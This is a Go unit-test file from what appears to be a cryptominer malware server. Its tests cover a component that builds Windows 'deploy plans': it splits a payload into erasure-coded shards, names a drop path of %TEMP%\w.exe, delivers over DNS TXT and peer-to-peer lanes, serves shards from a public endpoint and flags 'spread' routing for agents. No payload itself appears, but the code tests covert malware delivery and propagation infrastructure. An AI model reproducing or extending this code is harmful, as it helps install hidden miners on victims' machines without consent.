package api import ( "net/http" "net/http/httptest" "testing" "crypto-miner-server/internal/erasure" "github.com/go-chi/chi/v5" ) func TestBuildPlanAttachesErasureMetadata(t *testing.T) { h := testDeployPlanHandler(t) store := erasure.NewShardStore() h.BindErasure(func() bool { return true }, store) plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) if err != nil { t.Fatal(err) } if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled { t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan) } if len(plan.ErasurePlan.Shards) != 6 { t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards)) } if plan.ErasurePlan.PayloadSHA256 == "" { t.Fatal("expected payload sha256") } for _, ref := range plan.ErasurePlan.Shards { if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok { t.Fatalf("missing stored shard %d", ref.Index) } } } func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) { h := testDeployPlanHandler(t) store := erasure.NewShardStore() h.BindErasure(func() bool { return false }, store) plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) if err != nil { t.Fatal(err) } if plan.ErasurePlan != nil { t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan) } } func TestPublicErasureShardEndpoint(t *testing.T) { store := erasure.NewShardStore() payload := []byte("public-erasure-shard") plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true) if err != nil { t.Fatal(err) } h := NewPublicHandler(nil, "", nil) h.BindErasureShardStore(store) r := chi.NewRouter() r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard) req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil) rec := httptest.NewRecorder() r.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } if rec.Body.Len() == 0 { t.Fatal("empty shard body") } } func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) { h := testDeployPlanHandler(t) store := erasure.NewShardStore() h.BindErasure(func() bool { return true }, store) pt := NewPathTracerHandler(nil) h.BindPathTracer(pt) plan, err := h.buildPlan(deployPlanRequest{ AgentID: "seed-1", Platform: "windows", BuildID: "b1", }, "DoSvc", ServiceDeployLane{Lane: "do_peer"}) if err != nil { t.Fatal(err) } if plan.ErasurePlan == nil { t.Fatal("expected erasure plan") } }